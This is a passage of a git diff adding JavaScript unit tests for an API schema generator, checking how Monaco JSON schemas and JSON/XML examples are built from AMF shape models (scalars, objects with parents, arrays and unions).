+      assert.typeOf(id.$id, 'string', 'id.$id is set');
+      assert.equal(id.type, 'string', 'id.type is set');
+      assert.equal(id.title, 'id', 'id.title is set');
+
+      const name = /** @type MonacoScalarProperty */ (schema.properties.name);
+      assert.typeOf(name.$id, 'string', 'name.$id is set');
+      assert.equal(name.type, 'string', 'name.type is set');
+      assert.equal(name.title, 'Name', 'name.title is set');
+
+      const age = /** @type MonacoScalarProperty */ (schema.properties.age);
+      assert.typeOf(age.$id, 'string', 'age.$id is set');
+      assert.equal(age.type, 'number', 'age.type is set');
+      assert.equal(age.title, 'age', 'age.title is set');
+      assert.equal(age.description, 'Optional person age.', 'age.description is set');
+      assert.equal(age.minimum, 18, 'age.minimum is set');
+
+      const sex = /** @type MonacoScalarProperty */ (schema.properties.sex);
+      assert.typeOf(sex.$id, 'string', 'sex.$id is set');
+      assert.equal(sex.type, 'string', 'sex.type is set');
+      assert.equal(sex.title, 'sex', 'sex.title is set');
+      assert.equal(sex.description, 'An example of an enum.', 'sex.description is set');
+      assert.deepEqual(sex.enum, ['male', 'female'], 'sex.enum is set');
+
+      const newsletter = /** @type MonacoScalarProperty */ (schema.properties.newsletter);
+      assert.typeOf(newsletter.$id, 'string', 'newsletter.$id is set');
+      assert.equal(newsletter.type, 'boolean', 'newsletter.type is set');
+      assert.equal(newsletter.title, 'newsletter', 'newsletter.title is set');
+      assert.equal(newsletter.description, 'Whether the user wants to be added to the newsletter', 'newsletter.description is set');
+
+      const tosAccepted = /** @type MonacoScalarProperty */ (schema.properties.tosAccepted);
+      assert.typeOf(tosAccepted.$id, 'string', 'tosAccepted.$id is set');
+      assert.equal(tosAccepted.type, 'boolean', 'tosAccepted.type is set');
+      assert.equal(tosAccepted.title, 'tosAccepted', 'tosAccepted.title is set');
+      assert.equal(tosAccepted.description, 'Whether terms of service is accepted by the user.', 'tosAccepted.description is set');
+      assert.equal(tosAccepted.default, 'false', 'tosAccepted.default is set');
+    });
+
+    it('creates a schema for an object with a parent', async () => {
+      const shape = loader.getShape(model, 'ObjectWithParent');
+      const result = reader.generate(shape, parentUri);
+      
+      assert.typeOf(result, 'array', 'result is an array');
+      const [object] = result;
+      assert.equal(object.uri, shape.id, 'has uri');
+      assert.deepEqual(object.fileMatch, [parentUri], 'has fileMatch');
+      const schema = /** @type MonacoObjectProperty */ (object.schema);
+      assert.typeOf(schema, 'object', 'has schema');
+
+      assert.equal(schema.title, 'ObjectWithParent', 'has schema.title');
+      assert.equal(schema.type, 'object', 'has schema.type');
+      assert.typeOf(schema.properties, 'object', 'has schema.properties');
+      const required = [ 'addedProperty', 'age', 'id', 'name', 'sex', 'tosAccepted' ];
+      schema.required.forEach(r => assert.include(required, r, `required has ${r}`));
+
+      const id = /** @type MonacoScalarProperty */ (schema.properties.id);
+      const name = /** @type MonacoScalarProperty */ (schema.properties.name);
+      const sex = /** @type MonacoScalarProperty */ (schema.properties.sex);
+      const newsletter = /** @type MonacoScalarProperty */ (schema.properties.newsletter);
+      const tosAccepted = /** @type MonacoScalarProperty */ (schema.properties.tosAccepted);
+      assert.ok(id, 'has parent id property');
+      assert.ok(name, 'has parent name property');
+      assert.ok(sex, 'has parent sex property');
+      assert.ok(newsletter, 'has parent newsletter property');
+      assert.ok(tosAccepted, 'has parent tosAccepted property');
+
+      const addedProperty = /** @type MonacoScalarProperty */ (schema.properties.addedProperty);
+      assert.typeOf(addedProperty.$id, 'string', 'addedProperty.$id is set');
+      assert.equal(addedProperty.type, 'string', 'addedProperty.type is set');
+      assert.equal(addedProperty.title, 'addedProperty', 'addedProperty.title is set');
+      assert.equal(addedProperty.format, 'time', 'addedProperty.format is set');
+
+      const age = /** @type MonacoScalarProperty */ (schema.properties.age);
+      assert.typeOf(age.$id, 'string', 'age.$id is set');
+      assert.equal(age.type, 'number', 'age.type is set');
+      assert.equal(age.title, 'age', 'age.title is set');
+      assert.equal(age.description, 'Age is not optional anymore.', 'age.description is set');
+      assert.equal(age.minimum, 18, 'age.minimum is set');
+    });
+
+    it('creates a schema for an object with array values', async () => {
+      const shape = loader.getShape(model, 'ObjectWithArray');
+      const result = reader.generate(shape, parentUri);
+      
+      assert.typeOf(result, 'array', 'result is an array');
+      const [object] = result;
+      assert.equal(object.uri, shape.id, 'has uri');
+      assert.deepEqual(object.fileMatch, [parentUri], 'has fileMatch');
+      const schema = /** @type MonacoObjectProperty */ (object.schema);
+      assert.typeOf(schema, 'object', 'has schema');
+      
+      const tags = /** @type MonacoArrayProperty */ (schema.properties.tags);
+      assert.typeOf(tags.$id, 'string', 'tags.$id is set');
+      assert.equal(tags.type, 'array', 'tags.type is set');
+      assert.equal(tags.title, 'tags', 'tags.title is set');
+      assert.equal(tags.description, 'These are tags', 'tags.description is set');
+      assert.deepEqual(tags.required, [], 'tags.required is set');
+      assert.isFalse(tags.additionalItems, 'tags.additionalItems is set');
+      const { items } = tags;
+      assert.equal(items.anyOf[0].type, 'string');
+    });
+  });
+
+  describe('schemaTypeToJsonDataType()', () => {
+    /** @type ApiMonacoSchemaGenerator */
+    let reader;
+
+    before(async () => {
+      reader = new ApiMonacoSchemaGenerator();
+    });
+
+    [
+      [ns.w3.xmlSchema.number, 'number'],
+      [ns.aml.vocabularies.shapes.number, 'number'],
+      [ns.w3.xmlSchema.integer, 'number'],
+      [ns.aml.vocabularies.shapes.integer, 'number'],
+      [ns.w3.xmlSchema.float, 'number'],
+      [ns.aml.vocabularies.shapes.float, 'number'],
+      [ns.w3.xmlSchema.long, 'number'],
+      [ns.aml.vocabularies.shapes.long, 'number'],
+      [ns.w3.xmlSchema.double, 'number'],
+      [ns.aml.vocabularies.shapes.double, 'number'],
+      [ns.aml.vocabularies.shapes.boolean, 'boolean'],
+      [ns.w3.xmlSchema.boolean, 'boolean'],
+      [ns.w3.xmlSchema.date, 'string'],
+      [ns.w3.xmlSchema.time, 'string'],
+      [ns.w3.xmlSchema.dateTime, 'string'],
+      [ns.aml.vocabularies.shapes.dateTimeOnly, 'string'],
+      [ns.w3.xmlSchema.string, 'string'],
+      [ns.aml.vocabularies.shapes.nil, 'null'],
+      [ns.w3.xmlSchema.nil, 'null'],
+    ].forEach(([key, expected]) => {
+      it(`recognizes a type for ${key}`, () => {
+        const result = reader.schemaTypeToJsonDataType(key);
+        assert.strictEqual(result,  expected);
+      });
+    });
+  });
+});
diff --git a/test/generators/ApiSchemaGenerator.test.js b/test/generators/ApiSchemaGenerator.test.js
new file mode 100644
index 0000000..f9f276f
--- /dev/null
+++ b/test/generators/ApiSchemaGenerator.test.js
@@ -0,0 +1,1236 @@
+import { assert } from '@open-wc/testing';
+import { ns } from '../../src/helpers/Namespace.js';
+import { ApiSchemaGenerator } from '../../src/schema/ApiSchemaGenerator.js';
+import { AmfLoader } from '../AmfLoader.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Api.ApiAnyShape} ApiAnyShape */
+/** @typedef {import('../../').Api.ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../../').Api.ApiUnionShape} ApiUnionShape */
+
+describe('ApiSchemaGenerator', () => {
+  const loader = new AmfLoader();
+  const jsonMime = 'application/json';
+  const xmlMime = 'application/xml';
+
+  [ true, false ].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+
+      describe('scalar values', () => {
+        /** @type AmfDocument */
+        let model;
+
+        before(async () => {
+          model = await loader.getGraph(compact, 'schema-api');
+        });
+
+        describe(jsonMime, () => {
+          it('generates a schema without a value', async () => {
+            const shape = loader.getShape(model, 'ScalarType');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.strictEqual(result, '');
+          });
+
+          it('generates a schema with the default value', async () => {
+            const shape = loader.getShape(model, 'ScalarWithTraits');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.strictEqual(result, 'test');
+          });
+
+          it('generates a schema with the example value', async () => {
+            const shape = loader.getShape(model, 'ScalarWithExample');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime, {
+              renderExamples: true,
+            });
+            assert.strictEqual(result, 'A string');
+          });
+
+          it('generates a schema with the first enum value', async () => {
+            const shape = loader.getShape(model, 'ScalarWithEnum');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.strictEqual(result, 'A');
+          });
+
+          // Apparently AMF does not move properties from the parent scalar shape
+          it.skip('generates a schema for a parent', async () => {
+            const shape = loader.getShape(model, 'ScalarWithParent');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.strictEqual(result, 'test');
+          });
+
+          it('generates the example', async () => {
+            const shape = loader.getShape(model, 'ScalarWithExample');
+            const result = ApiSchemaGenerator.asExample(shape, jsonMime, {
+              renderExamples: true,
+            });
+            assert.typeOf(result, 'object', 'returns an object');
+            assert.isTrue(result.strict, 'has the strict property');
+            assert.deepEqual(result.types, [ns.aml.vocabularies.apiContract.Example], 'has the types property');
+            assert.equal(result.mediaType, jsonMime, 'has the mediaType property');
+            assert.strictEqual(result.renderValue, 'A string', 'has the value');
+          });
+        });
+
+        describe(xmlMime, () => {
+          it('generates a schema without a value', async () => {
+            const shape = loader.getShape(model, 'ScalarType');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            assert.strictEqual(result, '<ScalarType></ScalarType>');
+          });
+
+          it('generates a schema with the default value', async () => {
+            const shape = loader.getShape(model, 'ScalarWithTraits');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            assert.strictEqual(result, '<ScalarWithTraits>test</ScalarWithTraits>');
+          });
+
+          it('generates a schema with the example value', async () => {
+            const shape = loader.getShape(model, 'ScalarWithExample');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+              renderExamples: true,
+            });
+            assert.strictEqual(result, '<ScalarWithExample>A string</ScalarWithExample>');
+          });
+
+          it('generates a schema with the first enum value', async () => {
+            const shape = loader.getShape(model, 'ScalarWithEnum');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            assert.strictEqual(result, '<ScalarWithEnum>A</ScalarWithEnum>');
+          });
+
+          // Apparently AMF does not move properties from the parent scalar shape
+          it.skip('generates a schema for a parent', async () => {
+            const shape = loader.getShape(model, 'ScalarWithParent');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            assert.strictEqual(result, '<ScalarWithParent>test</ScalarWithParent>');
+          });
+
+          it('generates the example', async () => {
+            const shape = loader.getShape(model, 'ScalarWithExample');
+            const result = ApiSchemaGenerator.asExample(shape, xmlMime, {
+              renderExamples: true,
+            });
+            assert.typeOf(result, 'object', 'returns an object');
+            assert.isTrue(result.strict, 'has the strict property');
+            assert.deepEqual(result.types, [ns.aml.vocabularies.apiContract.Example], 'has the types property');
+            assert.equal(result.mediaType, xmlMime, 'has the mediaType property');
+            assert.strictEqual(result.renderValue, '<ScalarWithExample>A string</ScalarWithExample>', 'has the value');
+          });
+        });
+      });
+
+      describe('object values', () => {
+        /** @type AmfDocument */
+        let model;
+
+        before(async () => {
+          model = await loader.getGraph(compact, 'schema-api');
+        });
+
+        describe(jsonMime, () => {
+          it('generates a schema for a simple object', async () => {
+            const shape = loader.getShape(model, 'SimpleObject');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.typeOf(result, 'string', 'is a string');
+            const parsed = JSON.parse(String(result));
+            assert.typeOf(parsed, 'object', 'represents an object');
+            ['id', 'name', 'sex', 'tosAccepted'].forEach((key) => assert.isDefined(parsed[key], `${key} property is set`));
+          });
+
+          it('has only required fields with default values or enums', async () => {
+            const shape = loader.getShape(model, 'SimpleObject');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.typeOf(result, 'string', 'is a string');
+            const schema = JSON.parse(String(result));
+
+            assert.strictEqual(schema.id, '', 'sets a string type (id)');
+            assert.strictEqual(schema.name, '', 'sets a string type (name)');
+            assert.strictEqual(schema.sex, 'male', 'sets a string type (sex)');
+            assert.strictEqual(schema.tosAccepted, false, 'sets a boolean type from examples');
+            assert.isUndefined(schema.newsletter, 'sets a boolean type from examples');
+            assert.isUndefined(schema.age, 'sets a boolean type from examples');
+          });
+
+          it('has default values and examples', async () => {
+            const shape = loader.getShape(model, 'SimpleObject');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime, {
+              renderExamples: true,
+            });
+            const schema = JSON.parse(String(result));
+
+            assert.strictEqual(schema.id, '', 'sets a string type (id)');
+            assert.strictEqual(schema.name, 'Pawel Uchida-Psztyc', 'sets a string type (name)');
+            assert.strictEqual(schema.sex, 'male', 'sets a string type (sex)');
+            assert.strictEqual(schema.tosAccepted, false, 'sets a boolean type from examples');
+          });
+
+          it('has default values and examples with optional', async () => {
+            const shape = loader.getShape(model, 'SimpleObject');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime, {
+              renderOptional: true,
+              renderExamples: true,
+            });
+            const schema = JSON.parse(String(result));
+
+            assert.strictEqual(schema.id, '', 'sets a string type (id)');
+            assert.strictEqual(schema.name, 'Pawel Uchida-Psztyc', 'sets a string type (name)');
+            assert.strictEqual(schema.sex, 'male', 'sets a string type (sex)');
+            assert.strictEqual(schema.tosAccepted, false, 'sets a boolean type from examples');
+            assert.strictEqual(schema.age, 21, 'has the age property');
+            assert.isFalse(schema.newsletter, 'has the newsletter property');
+          });
+
+          it('gets the parent properties', async () => {
+            const shape = loader.getShape(model, 'ObjectWithParent');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime, {
+              renderOptional: true,
+              renderExamples: true,
+            });
+            const parsed = JSON.parse(String(result));
+            assert.strictEqual(parsed.id, '', 'has parent id');
+            assert.strictEqual(parsed.name, 'Pawel Uchida-Psztyc', 'has parent name');
+            assert.strictEqual(parsed.age, 25, 'has child age');
+            assert.strictEqual(parsed.newsletter, false, 'has parent newsletter');
+            assert.strictEqual(parsed.tosAccepted, false, 'has parent tosAccepted');
+            assert.match(parsed.addedProperty, /^[0-9]{2}:[0-9]{2}:[0-9]{2}$/, 'has child addedProperty');
+          });
+
+          it('renders object example value', async () => {
+            const shape = loader.getShape(model, 'ObjectWithExample');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime, {
+              renderOptional: false,
+              renderExamples: true,
+            });
+            const parsed = JSON.parse(String(result));
+            assert.strictEqual(parsed.error, true, 'has schema.error');
+            assert.strictEqual(parsed.message, 'Error message', 'has schema.message');
+            assert.isUndefined(parsed.optional, 'has no optional property');
+          });
+
+          it('renders object with multiple level parents', async () => {
+            const shape = loader.getShape(model, 'ChildLvl2');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            const parsed = JSON.parse(String(result));
+            assert.strictEqual(parsed.id, '', 'has top most property');
+            assert.strictEqual(parsed.ch1, false, 'has parent property');
+            assert.strictEqual(parsed.ch2, '', 'has own property');
+          });
+
+          it('generates the example', async () => {
+            const shape = loader.getShape(model, 'SimpleObject');
+            const result = ApiSchemaGenerator.asExample(shape, jsonMime);
+            assert.typeOf(result, 'object', 'returns an object');
+            assert.isTrue(result.strict, 'has the strict property');
+            assert.deepEqual(result.types, [ns.aml.vocabularies.apiContract.Example], 'has the types property');
+            assert.equal(result.mediaType, jsonMime, 'has the mediaType property');
+            assert.typeOf(result.renderValue, 'string', 'has the renderValue');
+            const parsed = JSON.parse(result.renderValue);
+            assert.typeOf(parsed, 'object', 'represents an object');
+          });
+        });
+
+        describe(xmlMime, () => {
+          it('has only required fields with default values or enums', async () => {
+            const shape = loader.getShape(model, 'SimpleObject');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            assert.typeOf(result, 'string', 'is a string');
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            assert.strictEqual(schema.querySelector('id').textContent.trim(), '', 'sets a string type (id)');
+            assert.strictEqual(schema.querySelector('name').textContent.trim(), '', 'sets a string type (name)');
+            assert.strictEqual(schema.querySelector('sex').textContent.trim(), 'male', 'sets a string type (sex)');
+            assert.strictEqual(schema.querySelector('tosAccepted').textContent.trim(), 'false', 'sets a boolean type from examples');
+            assert.strictEqual(schema.querySelector('newsletter'), null, 'has no optional value (newsletter)');
+            assert.strictEqual(schema.querySelector('age'), null, 'has no optional value (age)');
+          });
+
+          it('has default values and examples', async () => {
+            const shape = loader.getShape(model, 'SimpleObject');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+              renderExamples: true,
+            });
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            assert.strictEqual(schema.querySelector('id').textContent.trim(), '', 'sets a string type (id)');
+            assert.strictEqual(schema.querySelector('name').textContent.trim(), 'Pawel Uchida-Psztyc', 'sets a string type (name)');
+            assert.strictEqual(schema.querySelector('sex').textContent.trim(), 'male', 'sets a string type (sex)');
+            assert.strictEqual(schema.querySelector('tosAccepted').textContent.trim(), 'false', 'sets a boolean type from examples');
+            assert.strictEqual(schema.querySelector('newsletter'), null, 'has no optional value (newsletter)');
+            assert.strictEqual(schema.querySelector('age'), null, 'has no optional value (age)');
+          });
+
+          it('has default values and examples with optional', async () => {
+            const shape = loader.getShape(model, 'SimpleObject');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+              renderOptional: true,
+              renderExamples: true,
+            });
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            assert.strictEqual(schema.querySelector('id').textContent.trim(), '', 'sets a string type (id)');
+            assert.strictEqual(schema.querySelector('name').textContent.trim(), 'Pawel Uchida-Psztyc', 'sets a string type (name)');
+            assert.strictEqual(schema.querySelector('sex').textContent.trim(), 'male', 'sets a string type (sex)');
+            assert.strictEqual(schema.querySelector('tosAccepted').textContent.trim(), 'false', 'sets a boolean type from examples');
+            assert.strictEqual(schema.querySelector('age').textContent.trim(), '21', 'has the age property');
+            assert.strictEqual(schema.querySelector('newsletter').textContent.trim(), 'false', 'has the newsletter property');
+          });
+
+          it('gets the parent properties', async () => {
+            const shape = loader.getShape(model, 'ObjectWithParent');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+              renderOptional: true,
+              renderExamples: true,
+            });
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            assert.strictEqual(schema.querySelector('id').textContent.trim(), '', 'sets a string type (id)');
+            assert.strictEqual(schema.querySelector('name').textContent.trim(), 'Pawel Uchida-Psztyc', 'sets a string type (name)');
+            assert.strictEqual(schema.querySelector('sex').textContent.trim(), 'male', 'sets a string type (sex)');
+            assert.strictEqual(schema.querySelector('tosAccepted').textContent.trim(), 'false', 'sets a boolean type from examples');
+            assert.strictEqual(schema.querySelector('age').textContent.trim(), '25', 'has the age property');
+            assert.strictEqual(schema.querySelector('newsletter').textContent.trim(), 'false', 'has the newsletter property');
+            const addedProperty = schema.querySelector('addedProperty').textContent.trim();
+            assert.match(addedProperty, /^[0-9]{2}:[0-9]{2}:[0-9]{2}$/, 'has child addedProperty');
+          });
+
+          it('renders object example value', async () => {
+            const shape = loader.getShape(model, 'ObjectWithExample');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+              renderOptional: false,
+              renderExamples: true,
+            });
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            const root = schema.querySelector('ObjectWithExample');
+            assert.ok(root, 'has the root node');
+            assert.strictEqual(root.querySelector('error').textContent.trim(), 'true', 'has schema.error');
+            assert.strictEqual(root.querySelector('message').textContent.trim(), 'Error message', 'has schema.message');
+            assert.notOk(root.querySelector('optional'), 'has no optional property');
+          });
+
+          it('renders object with multiple level parents', async () => {
+            const shape = loader.getShape(model, 'ChildLvl2');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            const root = schema.querySelector('ChildLvl2');
+            assert.ok(root, 'has the root node');
+            assert.strictEqual(root.querySelector('ch2').textContent.trim(), '', 'has own property');
+            assert.strictEqual(root.querySelector('ch1').textContent.trim(), 'false', 'has parent property');
+            assert.strictEqual(root.querySelector('id').textContent.trim(), '', 'has top most property');
+          });
+
+          it('generates the example', async () => {
+            const shape = loader.getShape(model, 'SimpleObject');
+            const result = ApiSchemaGenerator.asExample(shape, xmlMime);
+            assert.typeOf(result, 'object', 'returns an object');
+            assert.isTrue(result.strict, 'has the strict property');
+            assert.deepEqual(result.types, [ns.aml.vocabularies.apiContract.Example], 'has the types property');
+            assert.equal(result.mediaType, xmlMime, 'has the mediaType property');
+            assert.typeOf(result.renderValue, 'string', 'has the renderValue');
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(result.renderValue, xmlMime);
+            assert.strictEqual(schema.querySelector('tosAccepted').textContent.trim(), 'false', 'sets a boolean type from examples');
+          });
+        });
+      });
+
+      describe('array values', () => {
+        /** @type AmfDocument */
+        let model;
+
+        before(async () => {
+          model = await loader.getGraph(compact, 'schema-api');
+        });
+
+        describe(jsonMime, () => {
+          it('generates a valid schema', async () => {
+            const shape = loader.getShape(model, 'ObjectWithArray');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.typeOf(result, 'string', 'is a string');
+            const parsed = JSON.parse(String(result));
+            assert.typeOf(parsed, 'object', 'result is an object');
+          });
+
+          it('has only required fields', async () => {
+            const shape = loader.getShape(model, 'ObjectWithArray');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.typeOf(result, 'string', 'is a string');
+            const parsed = JSON.parse(String(result));
+            assert.typeOf(parsed.tags, 'array', 'tags is set');
+            assert.typeOf(parsed.exampleValue, 'array', 'exampleValue is set');
+            assert.typeOf(parsed.examplesValue, 'array', 'examplesValue is set');
+            assert.typeOf(parsed.defaultValue, 'array', 'defaultValue is set');
+          });
+
+          it('has only default values', async () => {
+            const shape = loader.getShape(model, 'ObjectWithArray');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.typeOf(result, 'string', 'is a string');
+            const parsed = JSON.parse(String(result));
+            assert.deepEqual(parsed.tags, [''], 'tags is set');
+            assert.deepEqual(parsed.exampleValue, [0], 'exampleValue is set');
+            assert.deepEqual(parsed.examplesValue, [''], 'examplesValue is set');
+            assert.deepEqual(parsed.defaultValue, ['A tag'], 'defaultValue is set');
+          });
+
+          it('has default values and examples', async () => {
+            const shape = loader.getShape(model, 'ObjectWithArray');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime, {
+              renderExamples: true,
+            });
+            assert.typeOf(result, 'string', 'is a string');
+            const parsed = JSON.parse(String(result));
+            assert.deepEqual(parsed.tags, [''], 'tags is set');
+            assert.deepEqual(parsed.exampleValue, [123], 'exampleValue is set');
+            assert.deepEqual(parsed.examplesValue, ['value 1'], 'examplesValue is set');
+            assert.deepEqual(parsed.defaultValue, ['A tag'], 'defaultValue is set');
+          });
+
+          it('processes object items', async () => {
+            const shape = loader.getShape(model, 'ObjectWithArrayObject');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime, {
+              renderExamples: true,
+            });
+            assert.typeOf(result, 'string', 'is a string');
+            const parsed = JSON.parse(String(result));
+            assert.typeOf(parsed, 'array', 'result is an array');
+            const [schema] = parsed;
+            assert.strictEqual(schema.id, '', 'sets a string type (id)');
+            assert.strictEqual(schema.name, 'Pawel Uchida-Psztyc', 'sets a string type (name)');
+            assert.strictEqual(schema.sex, 'male', 'sets a string type (sex)');
+            assert.strictEqual(schema.tosAccepted, false, 'sets a boolean type from examples');
+          });
+
+          it('generates the example', async () => {
+            const shape = loader.getShape(model, 'ObjectWithArray');
+            const result = ApiSchemaGenerator.asExample(shape, jsonMime);
+            assert.typeOf(result, 'object', 'returns an object');
+            assert.isTrue(result.strict, 'has the strict property');
+            assert.deepEqual(result.types, [ns.aml.vocabularies.apiContract.Example], 'has the types property');
+            assert.equal(result.mediaType, jsonMime, 'has the mediaType property');
+            assert.typeOf(result.renderValue, 'string', 'has the renderValue');
+            const parsed = JSON.parse(result.renderValue);
+            assert.typeOf(parsed, 'object', 'result is an object');
+          });
+        });
+
+        describe(xmlMime, () => {
+          it('has only required fields', async () => {
+            const shape = loader.getShape(model, 'ObjectWithArray');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            const tags = schema.querySelector('tags');
+            assert.ok(tags, 'has tags array');
+            assert.strictEqual(tags.querySelector('tags').textContent.trim(), '', 'has empty array item (tags)');
+
+            const exampleValue = schema.querySelector('exampleValue');
+            assert.ok(exampleValue, 'has exampleValue array');
+            // this is a required field with integer value. This automatically adds number value to the schema.
+            assert.strictEqual(exampleValue.querySelector('exampleValue').textContent.trim(), '0', 'has default generated value (exampleValue)');
+
+            const examplesValue = schema.querySelector('examplesValue');
+            assert.ok(examplesValue, 'has examplesValue array');
+            assert.strictEqual(examplesValue.querySelector('examplesValue').textContent.trim(), '', 'has empty array item (examplesValue)');
+
+            const defaultValue = schema.querySelector('defaultValue');
+            assert.ok(defaultValue, 'has defaultValue array');
+            assert.strictEqual(defaultValue.querySelector('defaultValue').textContent.trim(), 'A tag', 'has a default value (defaultValue)');
+          });
+
+          it('has default values and examples', async () => {
+            const shape = loader.getShape(model, 'ObjectWithArray');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+              renderExamples: true,
+            });
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            const tags = schema.querySelector('tags');
+            assert.ok(tags, 'has tags array');
+            assert.strictEqual(tags.querySelector('tags').textContent.trim(), '', 'has empty array item (tag)');
+
+            const exampleValue = schema.querySelector('exampleValue');
+            assert.ok(exampleValue, 'has exampleValue array');
+            assert.strictEqual(exampleValue.querySelector('exampleValue').textContent.trim(), '123', 'has example value (exampleValue)');
+
+            const examplesValue = schema.querySelector('examplesValue');
+            assert.ok(examplesValue, 'has examplesValue array');
+            assert.strictEqual(examplesValue.querySelector('examplesValue').textContent.trim(), 'value 1', 'has example value (examplesValue)');
+
+            const defaultValue = schema.querySelector('defaultValue');
+            assert.ok(defaultValue, 'has defaultValue array');
+            assert.strictEqual(defaultValue.querySelector('defaultValue').textContent.trim(), 'A tag', 'has a default value (defaultValue)');
+          });
+
+          it('processes object items', async () => {
+            const shape = loader.getShape(model, 'ObjectWithArrayObject');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+              renderExamples: true,
+            });
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            const parent = schema.querySelector('ObjectWithArrayObject');
+            assert.ok(parent, 'has ObjectWithArrayObject object');
+
+            assert.strictEqual(parent.querySelector('id').textContent.trim(), '', 'sets a string type (id)');
+            assert.strictEqual(parent.querySelector('name').textContent.trim(), 'Pawel Uchida-Psztyc', 'sets a string type (name)');
+            assert.strictEqual(parent.querySelector('sex').textContent.trim(), 'male', 'sets a string type (sex)');
+            assert.strictEqual(parent.querySelector('tosAccepted').textContent.trim(), 'false', 'sets a boolean type from examples');
+            assert.strictEqual(parent.querySelector('newsletter'), null, 'has no optional value (newsletter)');
+            assert.strictEqual(parent.querySelector('age'), null, 'has no optional value (age)');
+          });
+
+          it('generates the example', async () => {
+            const shape = loader.getShape(model, 'ObjectWithArray');
+            const result = ApiSchemaGenerator.asExample(shape, xmlMime);
+            assert.typeOf(result, 'object', 'returns an object');
+            assert.isTrue(result.strict, 'has the strict property');
+            assert.deepEqual(result.types, [ns.aml.vocabularies.apiContract.Example], 'has the types property');
+            assert.equal(result.mediaType, xmlMime, 'has the mediaType property');
+            assert.typeOf(result.renderValue, 'string', 'has the renderValue');
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(result.renderValue, xmlMime);
+
+            const tags = schema.querySelector('tags');
+            assert.ok(tags, 'has tags array');
+            assert.strictEqual(tags.querySelector('tags').textContent.trim(), '', 'has empty array item (tags)');
+          });
+        });
+      });
+
+      describe('union values', () => {
+        /** @type AmfDocument */
+        let model;
+
+        before(async () => {
+          model = await loader.getGraph(compact, 'schema-api');
+        });
+
+        describe(jsonMime, () => {
+          it('generates schema for a scalar union', async () => {
+            const shape = loader.getShape(model, 'ScalarUnion');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.typeOf(result, 'string', 'is a string');
+            assert.strictEqual(result, '', 'the result is empty');
+          });
+
+          it('generates schema for a scalar union with a default number value', async () => {
+            const shape = loader.getShape(model, 'ScalarUnionDefaultNumber');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.typeOf(result, 'number', 'is a number');
+            assert.strictEqual(result, 123456, 'the result is set');
+          });
+
+          it('generates schema for a scalar union with a default string value', async () => {
+            const shape = loader.getShape(model, 'ScalarUnionDefaultString');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.typeOf(result, 'string', 'is a string');
+            assert.strictEqual(result, 'abc123', 'the result is set');
+          });
+
+          it('generates schema for a scalar union with a default boolean value (true)', async () => {
+            const shape = loader.getShape(model, 'ScalarUnionDefaultBoolean');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.typeOf(result, 'boolean', 'is a boolean');
+            assert.strictEqual(result, true, 'the result is set');
+          });
+
+          it('generates schema for a scalar union with a default boolean value (false)', async () => {
+            const shape = loader.getShape(model, 'ScalarUnionDefaultBoolean2');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.strictEqual(result, false, 'the result is set');
+          });
+
+          it('ignores implicit not-required unions (union with nil)', async () => {
+            const shape = loader.getShape(model, 'ScalarUnionDefaultNil');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.isUndefined(result);
+          });
+
+          it('generates schema for required union an example value (number)', async () => {
